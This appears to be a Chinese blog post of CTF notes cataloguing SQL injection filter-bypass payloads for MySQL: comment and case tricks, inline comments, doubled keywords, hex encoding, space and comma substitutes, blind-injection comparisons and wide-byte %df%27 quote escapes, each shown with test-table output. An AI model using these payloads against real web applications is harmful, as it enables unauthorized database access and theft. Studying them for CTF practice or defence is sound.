ctf sql注入关键词绕过【积累中】

版权声明:本博客所有文章除特别声明外,均采用 CC BY-NC-SA 3.0 许可协议。转载请注明出处! https://sp4rkw.blog.csdn.net/article/details/78085664

写在前面:这个博客知识点来源于个人ctf练习比赛中积累的知识点及网络中各个博客的总结点,这里做测试和记录

 

0x00 sql注入理解

    SQL注入能使攻击者绕过认证机制,完全控制远程服务器上的数据库。 SQL是结构化查询语言的简称,它是访问数据库的事实标准。目前,大多数Web应用都使用SQL数据库来存放应用程序的数据。几乎所有的Web应用在后台 都使用某种SQL数据库。跟大多数语言一样,SQL语法允许数据库命令和用户数据混杂在一起的。如果开发人员不细心的话,用户数据就有可能被解释成命令, 这样的话,远程用户就不仅能向Web应用输入数据,而且还可以在数据库上执行任意命令了。

    sql注入的原因,表面上说是因为 拼接字符串,构成sql语句,没有使用 sql语句预编译,绑定变量;但是更深层次的原因是,将用户输入的字符串,当成了 “sql语句” 来执行。

    比如语句 String sql = "select id,no from user where id=" + id;
我们希望用户输入的 id 的值,仅仅作为一个字符串字面值,传入数据库执行,但是当输入了: 2 or 1=1 时,其中的 or 1=1 并没有作为 where id= 的字面值,而是作为了 sql语句 来执行的。所以其本质是将用户的输入的数据,作为了命令来执行。

 

测试环境:Server version: 5.7.17-log MySQL Community Server (GPL)

0x01 sql注入绕过

1.1 注释符绕过

常用注释符:

 -- , /**/, #


验证:

mysql> select * from sql_test where id = /*11*/1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;-- select * from sql_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select * from sql_test where id = 3;# select * from sql_test;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
+----+----------+----------+
1 row in set (0.00 sec)

这里还从别的表哥博客中发现了一种新姿势:

 

mysql> select * from sql_test where id ='1'/1=(1=3)/'1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
2 rows in set (0.00 sec)

mysql> select * from sql_test where id ='1'/1=(1=1)/'1'='1';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

理解如下:

 

 

where id=1=0/1=1
->where id=1=0=1
id!=1,比如id=2 和 id=3的时候
id=1返回了一个值为0的布尔变量
0=0继而返回了1的布尔变量
再和=1比较,返回比较成功,故选取了id2,3的记录

 

 

先除后判等,左往右

 

 

1.2 大小写绕过

    sql语句忽略关键词是否大小写,其实只要waf不是故意这样设计的,基本上拦截都是大小写一起拦截的

mysql> select * from sql_test where id = 3 uniON sEleCt  * from sql_test where id = 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
|  2 | test     | 234      |
+----+----------+----------+
2 rows in set (0.00 sec)

 

1.3 内联注释绕过

 

    ummmm,解释起来就是,它把一些特有的仅在MYSQL上的语句放在 /*! ... */ 中,这样这些语句如果在其它数据库中是不会被执行,但在MYSQL中它会执行

mysql> select * from sql_test where id = 3 union /*!select*/  * from sql_test where id like 2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
|  2 | test     | 234      |
+----+----------+----------+
2 rows in set (0.00 sec)

 

1.4 双关键字绕过

 

?id=1+UNIunionON+SeLselectECT+1,2,3–

    这个一般用于简易waf,好心办坏事,比如说他将关键词select忽略大小写,只要有这个词,就把它替换成空(注意,只替换一次),这样原先我们注入的seleselectct是错误的,识别不出来的,但是经过waf 就变成了select,可以正确识别

 

1.5 编码绕过

双重url编码,这个得遇到特殊题目可以这么做,后台可能代码如下:

$insert=$link->query(urldecode($_GET['id']));
$row=$insert->fetch_row();

16进制绕过:

mysql> select * from sql_test where id = 3 union select  * from sql_test where username = 0x74657374;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  3 | test2    | 456      |
|  2 | test     | 234      |
+----+----------+----------+
2 rows in set (0.06 sec)
mysql> select  * from sql_test where username = char(116)+char(101)+char(115)+char(116);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
3 rows in set, 3 warnings (0.00 sec)

 

1.6 空格绕过

 

    waf拦截了空格,怎么办?五种考虑,用双空格/制表符代替尝试,用/**/当做空格,用括号包起来进行,用回车代替空格,反引号`的使用

mysql> select(id)from(sql_test)where(id=1);
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
mysql> select/**/id/**/from/**/sql_test/**/where/**/id=1/**/;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)
mysql> select
    -> id
    -> from
    -> sql_test
    -> where
    -> id
    -> =
    -> 1
    -> ;
+----+
| id |
+----+
|  1 |
+----+
1 row in set (0.00 sec)

注:url中%0a为回车

mysql> select   username        from    sql_test        where   id=1    ;
+----------+
| username |
+----------+
| admin    |
+----------+
1 row in set (0.00 sec)
mysql> select*from`sql_test`where`id`=1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

 

 

1.7  等于号绕过

 

 

    拦截了等于号,我们可以用like去代替:

mysql> select * from sql_test where username like 'admin';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

 

1.8 逗号绕过

 

    在使用盲注的时候,需要使用到substr(),mid(),limit;这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from for的方式来解决,limit则可以用offset

mysql> select * from sql_test where ascii(mid(username from 1 for 1))>1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
3 rows in set (0.00 sec)

mysql> select * from sql_test where ascii(mid(username from 1 for 1))>97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from sql_test where ascii(substr(username from 1 for 1))>97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
|  3 | test2    | 456      |
+----+----------+----------+
2 rows in set (0.00 sec)
mysql> select * from sql_test limit 1 offset 1;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
+----+----------+----------+
1 row in set (0.00 sec)

 

1.9 大于号小于号拦截绕过

 

    在使用盲注的时候,在爆破的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest,strcmp,in,between来进行绕过了。

mysql> select * from sql_test where id=1 and greatest(ascii(substr(username,1,1)),1)=97;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.05 sec)
mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),1);
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.03 sec)

mysql> select * from sql_test where id=1 and strcmp(ascii(substr(username,1,1)),97);
Empty set (0.00 sec)

 

mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('a');
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.23 sec)

mysql> select * from sql_test where id = 1 and substr(username,1,1) in ('b');
Empty set (0.00 sec)
mysql> select * from sql_test where id = 1 and substr(username,1,1) between 0x61 and 0x63;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select * from sql_test where id = 1 and substr(username,1,1) between 'a' and 'c';
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  1 | admin    | 123456   |
+----+----------+----------+
1 row in set (0.00 sec)

 

 

2.0 宽字节注入

 

过滤单引号时,可以试试宽字节
%bf%27 %df%27 %aa%27

 

    %df’ 被PHP转义(开启GPC、用addslashes函数,或者icov等),单引号被加上反斜杠\,变成了 %df\’,其中\的十六进制是 %5C ,那么现在%df\’ =%df%5c%27,如果程序的默认字符集是GBK等宽字节字符集,则MySQL用GBK的编码时,会认为 %df%5c 是一个宽字符,也就是縗’,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

 

2.1 常用连接语句符号

 

or,and,union,&&,||,^


^指的是异或操作,通常用于布尔型盲注绕过连接词

 

 

 

 

2.2 几个报错注入用来绕过的函数

extractvalue/updatexml

解释太复杂了,这里有详解,点这里

 

2.7 \N,E0,.0绕过

其实相当于NULL字符

 

mysql> select*from sql_test where id =\Nunion select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
+----+----------+----------+
1 row in set (0.00 sec)
mysql> select*from sql_test where id =8E0union select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
+----+----------+----------+
1 row in set (0.00 sec)

mysql> select*from sql_test where id =8.0union select * from sql_test where id=2;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
|  2 | test     | 234      |
+----+----------+----------+
1 row in set (0.06 sec)
mysql> select*from sql_test where id =7E0;
Empty set (0.00 sec)

mysql> select*from sql_test where id =7.0;
Empty set (0.00 sec)

mysql> select*from sql_test where id =\N;
Empty set (0.00 sec)

 

 

 

 

 

 

展开阅读全文

没有更多推荐了,返回首页